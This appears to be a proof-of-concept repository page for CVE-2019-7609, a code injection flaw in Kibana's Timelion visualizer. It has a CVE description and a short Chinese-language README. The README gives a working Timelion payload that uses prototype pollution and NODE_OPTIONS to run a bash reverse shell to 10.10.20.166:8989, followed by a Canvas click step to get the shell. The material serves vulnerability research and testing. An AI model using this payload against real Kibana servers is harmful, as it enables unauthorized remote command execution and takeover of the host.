CVE-2019-7609 PoC — Elasticsearch Kibana 代码注入漏洞

Source

Associated Vulnerability

Title: Elasticsearch Kibana 代码注入漏洞 (CVE-2019-7609)
Description:Kibana versions before 5.6.15 and 6.6.1 contain an arbitrary code execution flaw in the Timelion visualizer. An attacker with access to the Timelion application could send a request that will attempt to execute javascript code. This could possibly lead to an attacker executing arbitrary commands with permissions of the Kibana process on the host system.

Description

kibana < 6.6.0 未授权远程代码命令执行 (Need Timelion And Canvas),CVE-2019-7609

Readme

# CVE-2019-7609 kibana-RCE <6.6.0 未授权远程代码命令执行 (Need Timelion And Canvas)

![](./kibana_RCE.gif)


## 0x01 Timelion Run
```
.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -i >& /dev/tcp/10.10.20.166/8989 0>&1");process.exit()//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')
```
![](./version.jpg)
![](Timelion.jpg)

## 0x02 Click Canvas to getshell

![](./Canvas.jpg)

File Snapshot

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